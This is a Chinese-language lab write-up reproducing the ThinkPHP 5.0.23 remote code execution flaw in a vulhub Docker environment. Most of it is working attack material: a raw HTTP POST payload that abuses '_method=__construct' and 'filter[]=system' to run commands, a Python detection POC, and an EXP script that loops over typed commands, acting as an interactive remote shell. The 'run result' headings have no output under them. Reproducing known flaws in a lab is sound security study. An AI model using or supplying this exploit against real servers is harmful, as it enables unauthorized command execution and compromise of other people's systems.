环境搭建:
使用vulhub,进入对应文件夹启动环境:
[root@localhost ~]# cd /home/vulhub/thinkphp/5.0.23-rce/
[root@localhost 5.0.23-rce]# docker-compose up -d
查看端口:
[root@localhost 5.0.23-rce]# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
e43f3b0238fe vulhub/thinkphp:5.0.23 "docker-php-entrypoi…" 8 seconds ago Up 7 seconds 0.0.0.0:8080->80/tcp, :::8080->80/tcp 5023-rce_web_1
[root@localhost 5.0.23-rce]#
漏洞复现:
发送如下数据包:
POST /index.php?s=captcha HTTP/1.1
Host: 192.168.10.10
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
POC编写:
import requests
url = "http://192.168.10.10:8080/"
bug = "index.php?s=captcha"
bug_data = {"_method": "__construct", "filter[]": "system", "method": "get", "server[REQUEST_METHOD]": "echo wwwq|md5sum"}
res = requests.post(url + bug, data=bug_data)
if "c0f07f528bbb4eed25c97370610a7c8e" in res.text: # wwwq 的 md5 值
print("ThinkPHP5 5.0.23 远程代码执行漏洞存在")
pycharm运行结果:
EXP编写:
import requests,re
url = "http://192.168.10.10:8080/"
bug = "index.php?s=captcha"
bug_data = {"_method": "__construct", "filter[]": "system", "method": "get", "server[REQUEST_METHOD]": "echo wwwq|md5sum"}
res = requests.post(url + bug, data=bug_data)
if "c0f07f528bbb4eed25c97370610a7c8e" in res.text: # wwwq 的 md5 值
print("ThinkPHP5 5.0.23 远程代码执行漏洞存在")
while 1:
bug_data["server[REQUEST_METHOD]"] = input("请输入你要执行的命令:") # 替换输入的命令
exp_res = requests.post(url + bug, data=bug_data)
num = exp_res.text.index("<!DOCTYPE html>") # 获取这个头的下标
print(exp_res.text[0:num]) # 打印从 0 到这个 num 下标间的内容
pycharm运行结果: